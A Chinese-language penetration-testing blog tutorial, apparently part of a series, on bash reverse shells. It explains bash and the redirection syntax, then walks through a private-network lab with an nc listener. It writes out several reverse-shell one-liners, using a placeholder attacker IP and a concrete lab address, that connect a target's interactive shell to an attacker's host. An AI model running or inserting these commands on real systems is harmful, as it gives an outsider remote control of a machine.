[ 隧道技术 ] 反弹shell的集中常见方式(二)bash反弹shell
🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
文章目录
- 🍬 博主介绍
- 一、Bash介绍
- 二、Bash反弹Shell的命令如下: (用tcp的比较多:可靠传输)
- 用法
- 注意
- 三、实例讲解
- 环境
- 实验复现
- 1、攻击机采用nc监听
- 2、靶机执行连接命令
- 3、shell反弹成功
一、Bash介绍
Bash (GNU Bourne-Again Shell) 是许多Linux发行版的默认Shell [1] 。事实上,还有许多传统UNIX上用的Shell,例如tcsh、csh、ash、bsh、ksh等等,Shell Script大致都类同,当您学会一种Shell以后,其它的Shell会很快就上手,大多数的时候,一个Shell Script通常可以在很多种Shell上使用。
bash是大多数Linux系统以及Mac OS X默认的shell,它能运行于大多数类Unix风格的操作系统之上,甚至被移植到了Microsoft Windows上的Cygwin系统中,以实现Windows的POSIX虚拟接口。此外,它也被DJGPP项目移植到了MS-DOS上。
bash的命令语法是Bourne shell命令语法的超集。数量庞大的Bourne shell脚本大多不经修改即可以在bash中执行,只有使用了Bourne的特殊变量或内置命令的脚本才需要修改。 bash的命令语法很多来自Korn shell (ksh) 和 C shell (csh), 例如命令行编辑,命令历史,目录栈,$RANDOM 和 $PPID 变量,以及POSIX的命令置换语法: $(…)。作为一个交互式的shell,按下TAB键即可自动补全已部分输入的程序名、文件名、变量名等等。
二、Bash反弹Shell的命令如下: (用tcp的比较多:可靠传输)
bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&1
bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&2
bash -i >&/dev/udp/攻击机_IP/攻击机端口 0>&1
bash -i >&/dev/udp/攻击机_IP/攻击机端口 0>&2
解释:建立一个交互式shell,把这个shell重定向到攻击机端口
用法
这里看图片吧,以前自己学习的时候标了颜色,这里就不标记了
"bash-i"是指打开一个交互式的Shell。
"&"符号用于区分文件和文件描述符:
">&"符号后面跟文件时,表示将标准输出和标准错误输出重定向至文件;
">&“符号后面跟数字时,表示后面的数字是文件描述符;
不加”&“符号,会把后面的数字当成文件。
数字"0”,“1”,"2"是LinuxShell下的文件描述符:
“0”是指标准输入重定向;
“1”是指标准输出重定向;
“2”是指错误输出重定向。
"/dev"目录下"tcp"和"udp"是Linux中的特殊设备,可用于建立Socket连接,读写这俩文件就相当于是在Socket连接中传输数据。
“>&/dev/tcp/攻击机_ip/攻击机端口"则表示将标准输出和标准错误输出重定向到”/dev/tcp/攻击机ip/攻击机端口"文件中,也就是重定向到了攻击机,这时目标机的命令执行结果可以从攻击机看到。(建立一个tcp连接攻击机的ip和端口)
"0>&1"或"0>&2"又将标准输入重定向到了标准输出,而标准输出重定向到了攻击机,因此标准输入也就重定向到了攻击机,从而可以通过攻击机输入命令,并且可以看到命令执行结果输出。
注意
Bash -i交互式shell,如图,两层shell
/dev下默认没有tcp和udp,建立socket通信才会新建这个文件
三、实例讲解
环境
攻击机:windows:192.168.192.1
靶机:centos:192.168.13.153
实验复现
1、攻击机采用nc监听
攻击机器使用nc执行监听命令
nc -lvvp 55555
2、靶机执行连接命令
bash -i >&/dev/tcp/192.168.192.1/55555 0>&1
3、shell反弹成功
执行ls
执行ifconfig